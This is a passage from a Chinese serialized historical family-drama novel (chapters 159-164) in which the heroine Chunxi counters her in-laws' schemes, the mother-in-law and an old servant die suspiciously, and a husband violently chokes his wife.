春喜的眼睛亮闪闪的,盛满欢喜,沈清渊喉结微滚,加深了这个吻。 第二日,沈清渊请了御医陪春喜一起回侯府。 主院空气中药味浓郁,莫氏躺在床上,脸色惨白,眼窝凹陷,气若游丝,像是短短几日就被人吸干了精气,马上就要撒手人寰。 账面空虚,侯府下人被发卖了不少,主院里如今只有贾嬷嬷和莫芸婉服侍。 两人亦是憔悴不堪,明显这些日子并不好过。 春喜只站在门口,并未进去,御医诊治一番,给莫氏施了针,而后走出来低声说:“侯夫人肝火旺盛,又郁结于心,如今周身气血瘀滞,情况确实不大好,我先开个方子,若是四五日后还没有好转,便让沈大人告诉我,到时我再调整方子。” 竟是真病了啊。 春喜有些意外,面上却是不显,礼数周到地谢过御医,亲自把人送出府. 再回到主院,沈清越和沈清宇闻讯赶来。 沈清宇对春喜的敌意很深,不客气地问:“你回来做什么,还嫌娘病得不够重吗?” 春喜并不觉得私库被搬空就能把莫氏气成这样,她淡声道:“虽然分了家,但我们还是一家人,母亲病重,我这个做长媳的理应回家侍疾。” 屋里传来瓷片碎裂的声音,然后是莫氏嘶哑难听的怒吼:“给我滚,我不用你假好心伺候,少来碍我的眼!” “听到了吗,娘让你滚,还不快滚出去!” 沈清宇说着就要动手来推春喜,被沈清越拦下:“三弟,我说过多少次了,不许对大嫂不敬。” 沈清越呵斥一番,让沈清宇进屋守着莫氏,自己则跟着春喜走出主院。 “母亲如今病糊涂了,脾气也变得古怪,三弟也是关心则乱,得罪之处还请大嫂莫要见怪。” 沈清越诚恳道歉,而后恭敬行了一礼。 沈清越这样客气,春喜也没揪着不放,大度地说着场面话:“咱们都是一家人,二弟不必如此客气,既然母亲不想看到我,那我就不在这儿碍眼了。” 春喜说完就要走,沈清越又开口道:“母亲这里有我们照顾着,确实不需要大嫂侍疾,但眼下有一桩事还得请大嫂帮忙。” “什么?” “太傅府四公子与迟儿情投意合,昨日他已上门拜访过了,但母亲病重,没有精力谈论婚事,还得请大嫂出面帮忙商议一下。” 太傅府? 春喜记得莫氏之前是有意与太傅府攀亲的,这对莫氏来说应该是件喜事,她应该欢天喜地的操办起来,怎么反而还病倒了? 难道这桩婚事出了变故有猫腻? 春喜细细思索着,并未直接答应,沈清越立刻道:“若是大嫂觉得为难,那就算了,我可以修书给恩师,问问师娘能不能帮妹妹做媒。” 沈清越口中的恩师是云氏族学的先生,这位先生德高望重,虽未入仕,却是桃李满天下,在各大世家面前也是极有脸面的。 莫氏病重的事在族学里已经宣扬开,他越过春喜直接找师娘帮妹妹做媒,自然更会让人觉得沈清渊不孝。 春喜今日能主动登门就说明已经听到了那些传言,沈清越虽然语气温和,这句话背后却是威胁之意满满。 春喜若有所思,片刻后开口:“好啊,你去找你师娘吧。” “多谢大嫂……”沈清越胸有成竹,说到一半才意识到不对劲,他难以置信地抬头问,“大嫂刚刚说什么?” 春喜没有怪他年纪轻轻耳朵就不好使了,耐心解释:“我虽然是你们的大嫂,但出身不好,字也不识几个,更不知道世家大族成婚的规矩,贸然插手肯定会搞砸这件事,二弟有先见之明,决定去请你师娘做媒是最好的。” 春喜说完还点了下头,表示对沈清越这个决定的赞同。 沈清越的表情完全僵住,他怕春喜没听明白,直白道:“母亲病重,按理该由大嫂操持府中事务,若让外人插手,恐怕有损大哥大嫂的声誉。” 春喜点头:“我知道啊,但母亲都不愿意见到我,怎可能让我插手妹妹的婚事,为了母亲的身体着想,我和你大哥受点委屈也没什么的。” 沈清越:“……” 你还真委屈上了? 第160章 沈小姐今日就能过门 “如何了,她答应了吗?” 沈清越一回到主院,沈清宇就迫不及待地发问,莫氏和莫芸婉也期待地看着他。 沈清越别开眼,摇了摇头。 沈清宇顿时暴怒:“她凭什么不答应,娘病成这样,没让她在床前侍疾已经很好了,纵然分家,她也还是侯府长媳,怎能不管府里的事?” 莫芸婉小声问:“二郎,大嫂到底是怎么说的?” 沈清越把和春喜的对话简单说了一遍,沈清宇忍不住怪他:“分家的时候二哥已经见识过曹春喜的厚脸皮了,怎么还能跟她假客气呢,现在被她抓住话柄不管事,二哥难道还真的要厚着脸皮去找先生?” 先生德高望重,却向来独善其身,不愿插手别人家里的事,而且明眼人都看得他们家现在是一团糟,谁会愿意蹚这趟浑水? 沈清越的脸色有些不好看。 这些年他在外一直都是风度翩翩的君子形象,实在不擅长处理这些后宅之事,而且他们和大哥大嫂的关系已经很僵了,他也怕态度强硬会让大嫂反感,谁知大嫂竟然顺着他的话回绝了这件事。 沈清越这会儿也想不到该怎么办了。 莫芸婉在这时提醒:“这桩婚事宜早不宜迟,若让太傅府知道迟儿妹妹已经被四公子骗了身子,聘礼方面怕是会委屈妹妹。” 太傅府本就不太瞧得上他们,沈清渊他们分家的动静闹得这么大,知道他们给不了沈清迟多少嫁妆,自是更加看轻,若是知道沈清迟又失了身,指不定要如何作践呢。 这怎么能行,他们还指着沈清迟的聘礼恢复一点儿元气呢。 莫氏在这时开口:“宇儿,明日你去找人打口棺材,记得打扮憔悴些,最好让你那些同窗都瞧见,这桩婚事,曹春喜必须管!” 第二日,沈清宇果然去找人定了棺材,还“偶遇”几名同窗,吃饭时他诉说了自己照顾母亲有多尽心尽力,又说自己大嫂如何的冷血绝情,不仅不肯给母亲侍疾,连母亲唯一的心愿都不愿意帮忙完成。 几名同窗都是自诩忠孝仁义之辈,听完沈清宇的控诉如何受得了,当即挥笔,洋洋洒洒写下几大篇文章痛斥沈清渊高居御史台,却不以身作则,践行孝道。 明年便是三年一次的春闱,好些学子都想找机会扬名好被世家大族选中成为他们的门生,很快众人便都闻着味儿,跟风写文章痛骂起沈清渊来。 他们不认识沈清渊不重要,不了解清远侯府的家事也不重要,重要的是他们写得好,骂人骂得有水准,文章能尽可能多地被传阅。 沈清宇一直让人盯着外面的消息,见舆论都偏向他们,心里很是高兴,立刻去向莫氏报喜:“现在大哥已经是千夫所指了,娘就安心等着吧,曹春喜很快就会回来跪着求您让她操持迟儿妹妹的婚事的。” 莫氏听到好消息心情也跟着好了些,连喝进嘴里的药都觉得没那么苦了。 然而她连等了三日,春喜却始终没有登门。 莫氏不免有些焦躁,沈清宇正要派人出去打探一番,同窗先传了信来。 【清宇贤弟,你那大嫂实在是太狡诈了,竟然放出话来,只要有人愿意去城隍庙磕个头为你娘祈福,就可以免费领十个肉包子,而且每天都能领,现在城隍庙的门都快被挤烂了,那些市井小民被小恩小惠收买,全都赞她善良,有人还撕了我们的文章骂我们多管闲事】 春喜不仅免费送包子,还以身作则,自己每日都去城隍庙为莫氏祈福,经过口口相传,声势闹得可比这些学子写几篇酸腐文章大多了。 沈清宇看完信,当即把信纸撕得粉碎。 他们想借悠悠众口逼春喜低头,春喜也能借市井小民的嘴来还击。 再这么闹下去,谁输谁赢还真不一定。 莫氏听到春喜的做法气得直咳嗽:“这个贱人,她这是铁了心不管我们了,当初还说什么分了家还是一家人,我呸!” 莫氏气得不轻,贾嬷嬷连忙帮她拍着背顺气,这时下人来报:“夫人,太傅府来人了。” 莫氏一怔,连忙让贾嬷嬷帮自己换衣服上妆,然而她的脸色太差,再厚的粉脂也掩盖不住。 前厅里,太傅府的老夫人少夫人皆不在,只有一位面容刻薄的老婆子。 莫氏本以为太傅府是来人议亲的,见状顿时沉了脸,那老婆子却像是看不见,笑盈盈地开口:“恭喜夫人,贺喜夫人,沈小姐与我家四公子情投意合,四公子已与家里商议过了,今日就可迎沈小姐过门。” 今日就让人过门? 三书六礼一样都没有呢,就派一个婆子来,过什么门? 莫氏的胸口剧烈起伏,整个人气到颤抖,脸上的脂粉都控制不住往下掉。 贾嬷嬷冲上去就给了那婆子一巴掌:“放肆,我家小姐乃名门嫡出,太傅府若要求娶,理应先请媒婆登门说亲才是,怎可随随便便一句话就让我家小姐过门?” 那婆子挨了打,脸色也变了,捂着脸尖声叫道:“什么名门嫡出,她自己下贱,主动缠着我家公子一夜欢好,我家公子能给她个名分让她入府做妾已经很好了,她难道还想端架子做正妻不成?” 莫氏的脑子轰地一下炸开。 太傅府果然已经知道了这件事,这桩婚事彻底完了! 莫氏身形摇晃,站立不稳,那婆子却没停下,仍继续道:“谁不知道夫人当年就是爬床上位的,果然是上梁不正下梁歪,当娘的什么样,生出来的女儿就是什么样!” 做侯夫人这么多年,纵然还有人背后议论,却已经很久没人敢这样当着面指着莫氏的鼻子骂了。 莫氏气得吐血,当场晕死过去。 那婆子吓了一跳,连忙逃走。 贾嬷嬷叫人把莫氏抬回主院,回春堂的大夫来诊治后,竟说她气血攻心命不久矣。 贾嬷嬷一惊,连忙去请清远侯回家,沈清越也亲自去御史台找了沈清渊。 等春喜接到消息赶回侯府,主院里已挤满了人,沈清迟低头跪在院中,身形单薄得可怕,脸上毫无生气,像具行尸走肉。 第161章 莫氏去了 卧房人太多,春喜没进去凑热闹,没一会儿,清远侯便带着众人走出来。 看到春喜,沈清宇立刻恶狠狠地瞪过来,恨不得生吃了春喜,但在沈清渊走到春喜身边后,沈清宇又收回了目光。 清远侯这些年不知有过多少女人,对莫氏没什么感情,只觉得有些心烦。 莫氏病成这样,不知道哪天会断气,他暂时是不能到外面去陪美人儿了。 想到这里,清远侯皱眉问:“好端端的,夫人怎么会突然病重?” 沈清宇下意识地就想怪春喜和沈清渊,被沈清越拦下,贾嬷嬷跪在地上哭诉:“是太傅府的人欺人太甚,太傅府四公子李继贤骗了小姐的身子,今日还派人来府上故意羞辱,要小姐入门做妾,夫人受到刺激,这才急火攻心晕过去的。” 啪! 清远侯拍桌,沉声怒道:“她素日是怎么教导女儿的,怎能将女儿养得和她一样不知廉耻?” 清远侯没有骂太傅府欺人太甚,反而和那婆子一样骂了莫氏,沈清越和沈清宇皆是面色发僵。 贾嬷嬷在片刻的怔愣后大声哭道:“现在夫人都被气成这样了,侯爷怎么能说这样让人寒心的话,太傅府四公子敢做这样的事,何止是羞辱夫人,那也是在羞辱侯爷啊。” 清远侯当年以军功封侯也是风光过一段时间的,但后来天下大定,他被夺了兵权,空守着爵位却不再被重用,这些年不知受了多少冷嘲热讽,如今他沉迷女色,早就没了骨气和廉耻,冷哼一声道:“若不是这个孽女自甘下贱,也不会被人如此作践。” 言下之意,错在沈清迟,太傅府要如何都是有道理的。 清远侯没有半点儿要帮妻女讨回公道的样子,贾嬷嬷一颗心凉透,半晌讷讷地问:“那侯爷就这么白白让小姐送上门去给人家做妾吗?” “这是她自己选的路,怪得了谁?” 清远侯毫不犹豫地反驳,不等贾嬷嬷再说话,高声让沈清迟滚进来。 沈清迟走进屋跪下,清远侯直接问:“太傅府四公子要纳你为妾,你可愿意?” 沈清迟低着头,眼睫颤动。 她不想做妾。 她没接触过几个外男,只听娘说过,太傅府四公子李继贤是个懒散宽容的性子,虽然成不了什么大器,但胜在出身好,若能嫁他为妻,也算是她的福分。 她怕莫氏因为分家之事迁怒自己,便偷偷递信给李继贤,主动表明了爱慕之意。 李继贤当即就回信给她,还约她见面。 府中因为没钱发卖了不少下人,府里上下人人自危,看管也松懈不少,她很容易就混出去见到了李继贤。 一见面,李继贤就对她动手动脚,她意识到不对劲想要逃跑,奈何力量悬殊,被李继贤强要了身子。 她趁李继贤不注意,拿走了他的贴身玉佩,回府后写信威胁,若他不来家中提亲求娶自己,就去状告他对自己用强。 李继贤立刻回信认错,并承诺过不久就会请媒人上门求娶。 她信了李继贤的话,所以在娘提出要将她嫁给商贾换取一大笔聘礼时,她说自己和李继贤情投意合,并已委身于他。 她不愿被当作货物贩卖,想要掌握一次自己的命运,不成想却落得如此下场。 这个时候她再说是李继贤强迫的她,谁会相信? 想到李继贤那副嘴脸,沈清迟只觉得恶心,但沉默半晌后,她还是开口:“女儿愿意。” “沈清迟,你还要不要脸,人家这样作践你,把娘气得命悬一线,你竟然还要给他做妾?” 沈清宇气得不轻,冲上前就要打沈清迟,沈清迟抬起头,毫不畏惧地瞪着他:“三哥和娘一起商量着要把我卖给富商换钱难道就不是作践我吗?” 李继贤至少年轻,长得也不难看,若能哄得他高兴,哪日将她扶正,她就是太傅府的四少夫人,比嫁给低贱的商贾强百倍千倍。 沈清宇没想到向来柔弱乖顺的妹妹竟敢顶撞自己,他冷笑一声:“娘生你养你这么多年,难道还不能做主你的婚事了?再说你是娘十月怀胎生下来的,娘做什么不是为了你好?” 沈清迟向来爱哭,这会儿和沈清宇对峙却是一点儿眼泪都没有。 她淡淡开口:“我在娘眼里从来都只是联姻的工具,娘真正在意的只有二哥和三哥,二哥、三哥恐怕也只是把我当作垫脚石,并无兄妹之情吧。” 啪! 沈清宇狠狠给了沈清迟一巴掌:“没良心的东西,娘是因为谁才倒在床上的?” 沈清迟还想反驳,清远侯不耐烦地打断:“好了,别闹了,你既愿意做妾,那就别留在家里丢人现眼,自行收拾东西去太傅府吧。” “是,女儿拜别父亲。” 沈清迟磕了个头,转身就走,贾嬷嬷扑过去抓住她:“小姐,你不能犯糊涂啊,太傅府如此作践你,你若真的自己登门做妾,日后不知要受多少磋磨呢。” 沈清迟拉开贾嬷嬷的手,冷声道:“就算是做妾,至少还能有个名分,若是母亲真的有什么好歹,我就要在家守孝三年,嬷嬷觉得三年后太傅府还会认这笔账吗?” 贾嬷嬷噎住,片刻后又跪下朝春喜磕头:“大少爷、少夫人,求你们帮帮小姐吧,夫人纵有万般不好,但小姐是无辜的啊。” 贾嬷嬷一生未嫁,私心里把莫氏的孩子也当成自己的半个孩子看待,实在是不忍心眼睁睁地看着沈清迟落得如此下场。 贾嬷嬷哭得情真意切,沈清迟却是神情冰冷,她看也没看春喜,转身径直离开。 从今日起,她不会再把希望寄托到任何人身上了。 “小姐,你不能走啊小姐……” 贾嬷嬷想要追上去,莫芸婉神色慌张地冲出来:“你们快来看看,姑母不好了!” 沈清越和沈清宇立刻冲进卧房,贾嬷嬷也在纠结后掉头冲了进去。 清远侯稳坐在主位没动,春喜和沈清渊也没动。 没多久,屋里传出贾嬷嬷的痛哭。 莫氏去了。 第162章 贾嬷嬷死了 又是一场秋雨落下,夏日的暑气早已消散,风里开始染上寒意。 莫氏走得突然,沈清越和沈清宇都深受打击,像是丢了魂,清远侯根本不知道该如何操持丧事,莫芸婉在这时站了出来。 “姑母生前和大哥大嫂闹了很多不愉快,想来死后也不愿麻烦大嫂操持她的身后事,大嫂应该不介意让婉儿来操办吧?” 莫芸婉刚说完,沈清宇便红着眼附和:“娘病重这些日子一直是婉儿在衣不解带的伺候,娘的身后事自然应该由婉儿操持,哪轮得到某些人来做面子功夫赚好名声。” 春喜本就没有要揽活的意思,见莫芸婉愿意操劳,爽快点头:“那就辛苦弟妹了。” 不知莫芸婉用什么法子搞到钱,莫氏的身后事办得还算体面。 上好的楠木棺材,还请了云山寺的高僧前来诵经超度,府里人手虽然不够,但所有的事都办得井井有条,前来吊唁的宾客都被妥善接待,未曾慢待。 莫家并不看重莫氏,只派了二房来吊唁。 莫二老爷来略坐了片刻就走了,宁氏留了下来,见莫芸婉忙前忙后,很有当家主母的风范,眸底不觉带了笑意。 之前她还担心莫氏会苛待女儿,没想到莫氏这么快就死了,沈清渊和春喜也分家出去住了,沈清越尚未成婚,如此一来,她女儿就成了侯府新的女主人。 这般想着,宁氏看春喜就有些不顺眼了。 上次擢升宴,春喜耍了好大的威风,王氏还把宁氏挠了两下,宁氏活到这把年纪,还是第一次这样狼狈丢脸。 这些日子宁氏一直记恨在心,如今见到春喜,忍不住开口:“上次擢升宴,清远侯夫人的身体还很健康,这才过去几日时间,人就没了,沈少夫人就不觉得亏心吗?” 虽说擢升宴上所有人都知道沈清渊和春喜是在侯府受了太多委屈,忍无可忍才分的家,但如今莫氏死了,难免有些闲言碎语。 宁氏当然不是要为莫氏讨什么公道,只是莫氏还欠着沈清渊一大笔钱,人死债不消,宁氏怕春喜日后还要向莫芸婉讨债,便想趁这个风口用孝道压一压春喜,若能逼得春喜把这笔债抵消那就再好不过了。 宁氏心里的算盘打得噼啪响,春喜并不慌张,淡然开口:“那日回春堂的大夫来诊治,母亲的情况确实不太好,但也没到马上就会殒命的地步,当时我们所有人都在外间议事,只有三弟妹守在母亲身边,伯母若有疑问应该直接去问三弟妹才是。” 春喜只是如实回答,然而宁氏心中有鬼,闻言变了脸色,拔高声音:“婉儿这些日子一直尽心侍奉婆母,比你孝顺多了,你难道还要倒打一耙污蔑她加害婆母?” “伯母误会了,的意思是三弟妹最近一直守在母亲身边,对母亲的情况最为了解,我做没做对不起母亲的亏心事,三弟妹也是清楚的,由她来为伯母解惑,比从我嘴里说出来可信多了不是吗?” 听完春喜的解释,宁氏意识到自己刚刚的反应太大有些不正常,怕继续这个话题会被春喜怀疑,她只能冷哼一声作罢。 春喜并不知道莫芸婉跟戏子奔逃的过往,虽然觉得宁氏方才有些奇怪,却也没有深想,一直安静站在旁边的贾嬷嬷却因为宁氏的反应如坠冰窖。 少夫人说得对,回春堂的大夫来给夫人诊治时,只说夫人的情况不太好,但还没有到油尽灯枯的地步。 小姐的事虽然让夫人受了很大的刺激,但为了两位少爷,夫人也是会撑下来的呀,怎会连只言片语都没留下就这样撒手人寰? 夫人的死有问题! 这个念头扎入贾嬷嬷的脑海,贾嬷嬷再看到莫芸婉,只觉得那张柔弱无辜的面孔下藏着的其实是无比狰狞可怖的怪物。 莫芸婉带着嫁妆与戏子奔逃,多年后突然又回来了,大少爷不肯要她,她便缠上了三少爷,为了让夫人接纳她,她不惜服用绝子汤,这些日子更是衣不解带地在床前伺候。 可即便如此,夫人还是不喜欢她。 夫人骂她是丧门星、狐狸精,要不是她突然回来撺掇,夫人也不会丢了掌家权急于对少夫人下手,最后闹到要分家的地步。 前些日子,夫人甚至逼着三少爷休了她。 可现在夫人死了。 二少爷尚未成婚,莫芸婉不仅稳坐侯府三少夫人的位置,还成了侯府新的女主人! 贾嬷嬷越想越心惊,她跟在夫人身边的时间最久,也是知道莫芸婉过去那些秘密的,如果夫人是被三少夫人害的,那下一个会不会是她? 人来人往的侯府此刻突然变得阴森恐怖起来,贾嬷嬷脸色发白,慌乱之中,她看到了春喜。 虽然少夫人从入门开始就跟夫人过不去,可每次都是夫人挑事在先,少夫人不过是为了自保反击罢了,从未害过夫人。 她帮着少夫人盖好小厨房后,少夫人还亲自做饭给她吃了呢。 像是溺水的人看到可以救命的浮木,贾嬷嬷激动地朝春喜走去:“少夫人……” 贾嬷嬷唤了一声,然而刚开口,莫芸婉就走了过来:“嬷嬷,灵堂的纸钱用完了,劳烦嬷嬷再去取一些来。” 莫芸婉语气温柔,落在贾嬷嬷耳中,却像是毒蛇在吐蛇信子,贾嬷嬷想要推辞,莫芸婉又催了一句:“嬷嬷愣着做什么,姑母还等着你呢。” 这话意味不明,贾嬷嬷吓得肝颤,犹豫片刻还是应声离开。 她并不打算去取纸钱,而是改变主意决定去找二少爷。 二少爷向来聪慧,若知道夫人死得有蹊跷,定然会查明真相为夫人报仇的! 贾嬷嬷脚步匆匆,春喜盯着她的背影多看了一会儿。 “大嫂,”莫芸婉轻唤一声拉回春喜的视线,“马上就到午时了,劳烦大嫂把宾客们带去用饭吧。” “好。” 春喜带着一众女眷去用饭,脑海里却不自觉浮现出贾嬷嬷方才找自己说话的场景。 贾嬷嬷似乎有话要对她说。 饭后,春喜准备找贾嬷嬷问问,却被告知贾嬷嬷死了。 第163章 看着污眼打着脏手 贾嬷嬷死在了莫氏的棺材旁。 她神态平静,像是睡着了,丫鬟叫她去吃饭,见她迟迟不动才发现异常的。 莫芸婉扑簌簌地落下泪来:“贾嬷嬷,您为了伺候姑母一生未嫁,即便是姑母走了,我们也会继续把你当长辈孝顺,您怎么就钻进死胡同跟着姑母一起去了呢?” 莫芸婉泣不成声,众人都很动容,觉得贾嬷嬷是因为年纪大了,又被莫氏的死打击到,所以才伤心过度,跟着莫氏去了。 贾嬷嬷没有子嗣,亲人也都早已离世,众人感叹了一番她的忠心,便不再讨论她。 等众人散去,莫芸婉擦掉眼泪,吩咐下人把贾嬷嬷的尸体抬出去安葬。 见春喜一直盯着自己,莫芸婉哑着声问:“大嫂这么看着我做什么,可是婉儿哪里做得不好?” 春喜摇头:“弟妹做得很好,我这个做大嫂的自愧不如。” 春喜的语气不明,莫芸婉顿了顿说:“姑母走得急,我要是不撑起来,家里就乱了套了,不过大嫂放心,姑母虽然走了,但欠你们的钱我还是会想办法尽快还上的。” 莫芸婉主动说要还钱,春喜自然不会推辞。 七日后,莫氏出殡下葬。 葬礼结束后,按照律法,沈清渊和沈清越、沈清宇他们作为孝子,还得在墓地旁边住上三个月。 修筑墓地时,旁边就搭好了三间茅屋,虽然能住人,但条件相当简陋,如今秋意渐浓,若是下雨,更是寒凉。 沈清宇从来没有住过这么破的屋子,忍不住挑刺:“这房子结实吗,会不会被大风刮跑?” 莫芸婉从丫鬟手中接过包袱塞进沈清宇怀里,低声道:“正是要条件艰苦才能显示出三郎对母亲的孝心,况且大哥二哥也要住在这儿,他们都没说什么呢,三郎忍忍吧。” 莫芸婉温言细语地劝,一身孝衣更显清淡娇俏。 沈清宇忍不住抓过莫芸婉的手摩挲。 这些日子事情太多了,他好不容易才把莫芸婉娶到手,都没来得及好好腻歪一番,又要分开这么久,实在是让人难受。 莫芸婉嗔怪地瞪了沈清宇一眼,并未把手抽开。 另一边,春喜也把准备好的包袱交给沈清渊,低声道:“我找人去看过了,贾嬷嬷的坟是空的,尸身不知去了何处,母亲的死恐怕真的有问题。” “我会想办法查明真相,你好好在家待着,莫要轻举妄动,”春喜刚要点头,后脑勺被扣住,沈清渊倾身靠近,加重语气严肃道,“听话,别让我分心。” 听出沈清渊话里的担忧,春喜认真道:“放心吧夫君,我不会乱来的,你也要多加小心。” 很快,莫芸婉就过来找春喜:“时辰不早了,大嫂,我们该回去了。” 春喜朝沈清渊挥了挥手,扭身上了马车。 等两人的马车离开,沈清宇立刻阴阳怪气:“以前怎么没看出来大哥还是个大情种啊,大哥要是这么舍不得大嫂,不如就回家去啊,何必假惺惺地留在这儿,反正大哥眼里从来都没有母亲不是吗?” “三弟!” 沈清越皱眉呵斥,沈清宇并未收敛,反而更大声:“我说的都是实话,他如今都被停职了,二哥还怕他做什么?” 说到这里,沈清宇唇角一勾,露出抹得意的笑:“大哥在京兆府十年,好不容易得了机会升入御史台,这才几日,就被停职了,等三年守孝期满,御史台哪里还有大哥的位置,大哥就不觉得曹春喜克你吗?” 沈清渊并不在意沈清宇对自己的嘲讽,直到他提起春喜,才掀眸冷冷地看向他。 那一眼锐利森寒,极有威压,沈清宇浑身一僵,却又不想认怂,梗着脖子说:“咱们现在可是在给娘守墓,你若是敢打我,那可是重罪,以后连复职的资格都没有。” 沈清宇又怂又嘴贱的样子实在滑稽,沈清渊冷冷吐出两个字:“蠢货。” “你说什么?” 沈清宇怒吼,沈清渊看着他,继续道:“我说你蠢笨如猪,一点儿脑子都没有,这些年你在云氏族学读的书都读进狗肚子里了,你这样的蠢货,我看着污眼打着脏手。” 沈清渊语调平平,说出来的话却是字字诛心。 沈清宇还从没被人这样骂过,顿时气红了眼:“沈清渊,我杀了你!” 沈清渊没躲,定定地看着沈清宇:“来啊,母亲坟前弑兄,我看你受不受得住千刀万剐之刑。” 千刀万剐四个字从沈清渊嘴里说出来格外的瘆人,沈清宇甚至感觉有刀子落在了自己身上,他打了个寒战,到底没敢动手,只能咬牙切齿地蹲到一边去拔草泄愤。 耳边清净下来,沈清越走过来低声道歉:“三弟性子冲动,说话总是不过脑子,还请大哥不要跟他一般见识。” “你以为你比他强?” 沈清渊不留情面地反问,沈清越表情一僵,还想说些什么,沈清渊先一步转身进到屋里铺床去了。 沈清越捏紧拳头,盯着沈清渊看了半晌,也回屋温书去了。 只是心烦意乱,一个字都看不进去。 眼看春闱在即,他本想考个好名次,早些入仕进官场历练,这样也能说门好亲事,寻求岳家助力争一争世子之位,如今计划全乱了。 一切都是从大哥娶了曹春喜开始改变的。 茅屋里,沈清越的眸子渐渐发寒…… 阿嚏! 春喜打了个喷嚏,许是这几日熬夜守灵受了寒,春喜感觉脑袋有点儿晕。 正好路过一处医馆,她准备去买几帖驱寒的药,一会儿让车夫给沈清渊也送些去。 马车刚停稳,春喜就看到了挂着卫家标识的马车。 卫家有府医,偶尔有些急症也是请回春堂的大夫或是宫里的御医,怎么会来这种不起眼的小医馆? 春喜正觉疑惑,就见卫凌泽拥着萧清禾走出医馆,手里还拎着一大包药。 萧清禾低垂着脑袋,看不太清楚表情,但紧抿着唇,一看就很不高兴。 两人并未注意到春喜的马车,等他们离开,春喜才走进医馆。 第164章 禾儿,你把我当什么? 进了医馆,春喜先找伙计打探了一番,确定看诊的人是萧清禾,当即道:“我与方才那位夫人有同样的困扰,能否让大夫帮我也诊治一下?” 伙计眼神古怪地看了春喜一眼,带她去了医馆后院的房间。 房间里,一位银须鹤发的老者端坐着,伙计附耳与老者说了一下春喜的情况,老者为春喜诊脉,片刻后皱眉道:“夫人脉象有力,气血充盈,且年纪尚轻,不可能难孕无嗣,回去让你家郎君来看看吧。” 难孕无嗣? 卫凌泽竟然是带大侄女儿来看这种病。 春喜既惊又怒,她立刻追问:“方才那位夫人的身子可有碍?” 春喜不关心自己,反而关心起别人,大夫警觉地沉了脸:“夫人是来看病的还是来打探别人隐私的?” 来这儿看病的患者都不希望宣扬出去,大夫和伙计都是嘴很严的。 春喜连忙改口道:“我当然是来看病的,其实我夫君年长我很多岁,如今家中新丧,又要守孝三年,我怕到时夫君年纪大了,怪我不能生,所以来瞧瞧,看看有没有为男子调理身子的方子。” 大夫的脸色缓和了些,一边提笔写方子一边说:“此事有伤男人尊严,我给夫人开些药膳,夫人回家日日做给你家郎君吃着,三年后你家郎君便是年过半百,也能顺利要上子嗣。” “多谢大夫,您真是我的救命恩人啊!” 春喜对着大夫一通感激,出来付了诊金,又拿了些碎银给伙计做赏钱,见她是真的病人又如此大方,伙计便又多透露了些。 萧清禾和卫凌泽的身子都没有问题,按理是不需要吃药的,但卫凌泽还是让大夫开了很多给女子调理身子的药。 狗东西! 春喜在心里骂了一句,拿着开好的药去了一趟铺子。 与此同时,马车里,萧清禾抬手给了卫凌泽一巴掌。 “卫凌泽,你浑蛋!” 萧清禾用了全力,掌心又痛又麻,卫凌泽却连眉头都没有动一下。 “这个医馆的大夫很擅长治疗妇人难孕之症,我是担心夫人的身体才带特意带夫人来的,这些药夫人回去记得按时吃,若是没有效果,我再为夫人另寻高明。” 从云山寺回来后,卫凌泽一直在试图修补和萧清禾的关系,但无论他怎么做,萧清禾都拒绝再与他同房。 萧清禾本以为他会就此作罢,没想到他竟然带她来看大夫。 方才大夫已经说了她的身体无碍,卫凌泽却还是让大夫开了许多药,他这样做,分明是在逼她低头。 萧清禾心头发冷,也不再给卫凌泽留面子,冷声道:“我的孩子已经死了,你若急需子嗣可以纳妾,到时孩子养在我名下,我自会悉心教养他。” 为 这话一出,卫凌泽果然沉了脸,他逼近萧清禾,将她抵在马车壁上:“我已经认错服软了,禾儿,你还要闹到什么时候?” 每次都是这样。 卫凌泽虽然嘴上说着道歉的话,姿态却透着高傲,好像他愿意哄一哄她,她就该感激涕零地收下。 以前萧清禾还有些不明白为什么朝夕相处三年小婶婶都不动心,毕竟卫凌泽即便是瘫了,容貌和家世也是极好的。 如今她完全理解了。 她和卫凌泽家世相当,都得不到尊重,小婶婶见到的卫凌泽该是怎样的高高在上? 有谁会喜欢一个时时刻刻凌驾在自己之上的人? “我没有闹,”萧清禾平静开口,“我是认真的,回去后我就请母亲为你挑选合适的贵妾人选。” 萧清禾说着别开头,不愿再面对他。 她明明比春喜瘦弱多了,这个时候却透出了和春喜一样的倔强强硬。 卫凌泽心头升起怒火,他忍不住伸手掐住萧清禾的脖子:“你说纳妾就纳妾,禾儿,你把我当什么,给你生孩子的工具?” 卫凌泽咬牙切齿,大掌也不住收紧。 呼吸被阻绝,萧清禾难受地想要掰开卫凌泽的手,奈何力量悬殊太大,根本无法撼动他分毫。 心底升起巨大的恐惧,萧清禾拔下发簪划伤卫凌泽的手背。 痛意将卫凌泽的理智拉回,他猛然放手,萧清禾瘫软地坐在地上,咳嗽不止。 “禾儿……” 卫凌泽的语气软下来,似乎想要安抚她,萧清禾却吓得爬出马车:“停车,我要下去!” 行舟连忙勒停马车,马车还没停稳,萧清禾就跳了下去。 “少夫人!” 行舟担忧的惊呼。 萧清禾摔坐在地,右脚脚腕痛得钻心,她的眼泪瞬间涌出,却强撑着爬起来,一瘸一拐地朝前跑去。 卫凌泽沉着脸下了车,大步朝萧清禾追去。 眼看要追上时,一个人突然撞了过来,香得腻人的脂粉撒了卫凌泽一身,卫凌泽烦躁地皱紧眉头,对方却先发制人:“卫公子,你怎么不看路啊,我这盒夺魂香可是价值不菲呢。” 声音斯斯文文,很是耳熟,卫凌泽偏头,果然又看见岚舒那张文弱中又含着戏谑的脸。 又是无忧阁。 卫凌泽咬牙,不欲与岚舒纠缠,越过他便要继续去找萧清禾,却又听到岚舒说:“卫公子,这夺魂香是我们无忧阁专为贵客准备的,闻一点儿便能欲仙欲死,你身上沾了这么多,若不及时去回春堂就医,怕是会爆体而亡的。” 卫凌泽顿住步子,扭头恶狠狠地瞪着岚舒:“你找死?” 岚舒并不害怕,扬声反驳:“卫公子好歹出身名门,明明刚刚是你不看路撞到了我,你不肯赔我东西,我还好心提醒你,你怎么能倒打一耙呢?” 两人的容貌都是极出众的,路过的人都停下来围观,卫凌泽虽然一身贵气,表情却带着凶煞,而岚舒斯斯文文,表情和语气都很无辜,围观的人下意识地都觉得他才是被欺负的那个。 那夺魂香确实霸道,卫凌泽隐隐感受到身体有些发热,他放弃去追萧清禾,回到马车吩咐行舟去回春堂。 另一边,萧清禾实在慌乱,不小心踩到裙摆,眼看要跌倒,忽然被人从身后抓住胳膊拽了回去。 萧清禾以为是卫凌泽追上来了,反手又是一巴掌:“浑蛋,别碰我!” 